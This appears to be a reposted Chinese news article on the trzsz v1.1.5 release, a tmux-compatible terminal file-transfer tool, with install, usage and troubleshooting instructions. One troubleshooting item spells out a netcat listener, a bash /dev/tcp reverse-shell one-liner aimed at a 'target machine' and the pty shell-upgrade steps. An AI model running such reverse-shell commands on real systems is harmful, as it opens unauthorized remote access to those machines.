您现在的位置是:首页 > 文章详情

Python 版 trzsz ( trz / tsz ) 发布 v1.1.5

日期:2024-01-22点击:98

Python 版 trzsz ( trz / tsz ) 发布 v1.1.5,同步一些 Go 版的特性,如进度条隐藏光标等。

GitHub: https://github.com/trzsz/trzsz 接近 1K Star 了。


如何使用

  1. 在服务器上安装 trzsz (trz /tsz),有 gopy  js 三种实现,互相兼容。

  2. 本地要使用支持的终端,有本地 shell 的终端可以使用 trzsz-ssh ( tssh ),或参考下文【支持的终端】。

  3. 使用 trz ( 类似 rz ) 命令上传文件,使用 tsz ( 类似 sz ) 命令下载文件。

为什么做

  • 考虑 laptop -> hostA -> hostB -> docker -> tmux 这种场景,使用 scp  sftp 是不方便的。

  • 在这种场景下,使用 lrzsz (rz /sz) 是很方便的,但是很可惜它与 tmux 不兼容。

  • tmux 不打算支持 rz /sz ( 906, 1439 ),于是就开发了 trzsz ( trz / tsz )。

优点介绍

  • 支持 tmux,包括 tmux 普通模式,以及与 iTerm2 集成的 tmux 命令模式。
  • 支持 传输目录trz -d 命令上传目录,tsz -d xxx 命令下载 xxx 目录。
  • 支持 断点续传trz -y  tsz -y xxx 覆盖目标文件会自动进行断点续传。
  • 支持 Windows,不仅可在 Windows 客户端使用,也可在 Windows ssh 服务器使用。
  • 支持 原生终端,不需要原生终端做支持,只要使用 trzsz ssh x.x.x.x 登录即可。
  • 支持 web 终端,通过 web 浏览器在本地与服务器之间传输目录和文件。
  • 支持 拖动上传,将文件和目录拖到终端窗口即可上传到远程服务器。
  • 支持 进度条,显示当前正在传输的文件名、进度、大小、速度和剩余时间等。
  • 更好的 交互体验,传输成功或出错时显示友好的结果,ctrl + c 优雅中止。

安装指南

在远程服务器上安装

  • 安装 用 Go 实现的版本( ⭐ 推荐 )

    请查看 Go 版安装指引:https://trzsz.github.io/cn/go

  • 或者用 Python3 安装

     sudo python3 -m pip install --upgrade trzsz
     
  • 或者用 Python2 安装

     sudo python2 -m pip install --upgrade trzsz
     
  • 或者用 Homebrew 安装

     brew update brew install trzsz
     
  • 或者用 Node.js 安装

     sudo npm install -g trzsz
     

  没有 sudo 权限也可以安装,只要将安装路径 ( 可能是 ~/.local/bin ) 添加到 PATH 环境变量中即可。

支持的终端

  • trzsz-ssh (tssh) -- 内置支持 trzsz 的 ssh 客户端( ⭐ 推荐 )。

  • iTerm2 -- 参考 Trzsz-iTerm2 安装文档

  • tabby -- 安装 tabby-trzsz 插件即可。

  • electerm -- 升级到 1.19.0 以上的版本即可。

  • ttyd -- 升级到 1.7.3 以上的版本,并且启动时加上 -t enableTrzsz=true,非 localhost 要用 https

  • trzsz-go -- 只要是支持本地 shell 的终端就可以用。

  • trzsz.js -- 让运行在浏览器中的 webshell 和用 electron 开发的终端支持 trzsz

  如果你的终端也支持 trzsz,请告诉我,我很乐意将它加到此列表中。

使用指南

trz 上传文件

trz 命令可以不带任何参数,将上传文件到当前目录。也可以带一个目录参数,指定上传到哪个目录。

 trz /tmp/
 

tsz 下载文件

tsz 可以带一个或多个文件名(可使用相对路径或绝对路径,也可使用通配符),将下载指定的文件。

 tsz file1 file2 file3
 

-q 静默模式

trz -q  tsz -q xxx ( 加上 -q 选项 ),则在传输文件时不显示进度条。

-y 覆盖模式

trz -y  tsz -y xxx ( 加上 -y 选项 ),如果存在相同文件名的文件就直接覆盖,并支持断点续传。

-b 二进制模式

trz -b  tsz -b xxx ( 加上 -b 选项 ),二进制传输模式,对于压缩包、图片、影音等较快。

-e 转义控制字符

二进制模式时,控制字符可能会导致失败,trz -eb  tsz -eb xxx ( 加上 -e 选项 ) 转义所有已知的控制字符。

-d / -r 传输文件夹

trz -d  tsz -r xxx ( 加上 -d  -r 选项 ),则可以上传或下载指定文件夹和文件。

-B 缓冲区上限

trz -B 20m  tsz -B 2M xxx 等,设置最大缓冲区上限 (默认 10M)。会自动根据网速选择合适的缓冲区大小,但不会超过此上限。

-t 超时时间

trz -t 30  tsz -t 30 xxx 等,设置超时秒数 (默认 20 秒)。在超时时间内,如果无法传完一个缓冲区大小的数据则会报错并退出。设置为 0 或负数,则永不超时。

异常处理方法

  • 如果 tmux 是运行在本地电脑上。

    • 方案 1:使用 tmux -CC 与 iTerm2 集成,请参考 iTerm2 与 tmux -CC 集成
    • 方案 2:在本地电脑上安装 trzsz-go,在 tmux 之后用 trzsz ssh 登录。
    • 方案 3:在本地电脑上安装 trzsz-ssh,在 tmux 之后用 tssh 登录。
  • 如果 tmux 是运行在跳板机上。

    • 方案 1:使用 tmux -CC 与 iTerm2 集成,请参考 iTerm2 与 tmux -CC 集成
    • 方案 2:在跳板机上安装 trzsz-go,在 tmux 之后用 trzsz -r ssh 登录。
    • 方案 3:在跳板机上安装 trzsz-ssh,在 tmux 之后用 tssh 登录。
  • 如果出现了错误,且 trzsz 挂住不能动了:

    • 按组合键 control + c 可以停止服务器上的 trz  tsz 进程。
    • 对于 iTerm2 用户,按组合键 command + option + shift + r 可以停止 iTerm2 Coprocesses
  • 如果 trz -b 二进制上传失败,并且登录远程服务器时使用了 telnet  docker exec

    • 可以试试转义所有控制字符,例如 trz -eb
  • 如果 trz -b  tsz -b 二进制传输失败,并且登录远程服务器时使用了 expect

    • 可以试试在 expect 脚本前设置环境变量 export LC_CTYPE=C,例如:
       #!/bin/sh export LC_CTYPE=C expect -c '  spawn ssh xxx  expect "xxx: "  send "xxx\n"  interact '
       
  • 如果想在反弹 shell 中使用 trz / tsz 上传和下载,则需要按以下步骤操作:

    • 1. 使用 tssh xxx  trzsz ssh xxx 登录服务器。
    • 2. 在服务器上执行 nc -lnv 1337,等待反弹 shell 连接。
    • 3. 在目标机器反弹连接到服务器,如 bash -i >& /dev/tcp/192.168.0.1/1337 0>&1
    • 4. 以下在反弹 shell 中操作:
      • 4.1. 转换成交互式 shell,如 python3 -c 'import pty; pty.spawn("/bin/bash")'
      • 4.2. 按下 ctrl + z 将反弹 shell 转入后台运行。
      • 4.3. 执行 stty raw -echo; fg 屏蔽服务器的回显,并将反弹 shell 转到前台运行。
      • 4.4. 此时按一次回车键,就会显示命令行提示符等了。
      • 4.5. 设置终端环境变量 export TERM=xterm-256color( 此步骤非必须 )。
      • 4.6. 检查是否存在 TMUX 环境变更,若存在则要清掉 unset TMUX
      • 4.7. 此时就可以正常使用 trz / tsz 上传和下载了。
    • 5. 退出交互式 shell 后,输入的字符将不会回显,盲打 exit 退出反弹 shell。
    • 6. 此时在服务器上盲打 reset 并回车,恢复终端的默认设置,然后回显就恢复正常了。

屏幕截图

trzsz 在 iTerm2 中 text 进度条示例

using trzsz in iTerm2 with text progress bar

trzsz 在 iTerm2 中 zenity 进度条示例

using trzsz in iTerm2 with zenity progress bar

trzsz 在 tabby 中 tabby-trzsz 插件示例

using trzsz in tabby with tabby-trzsz plugin

原文链接:https://www.oschina.net/news/276346/python-trzsz-1-1-5-released
关注公众号

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。

持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。

转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。

文章评论

共有0条评论来说两句吧...

文章二维码

扫描即可查看该文章

点击排行

推荐阅读

最新文章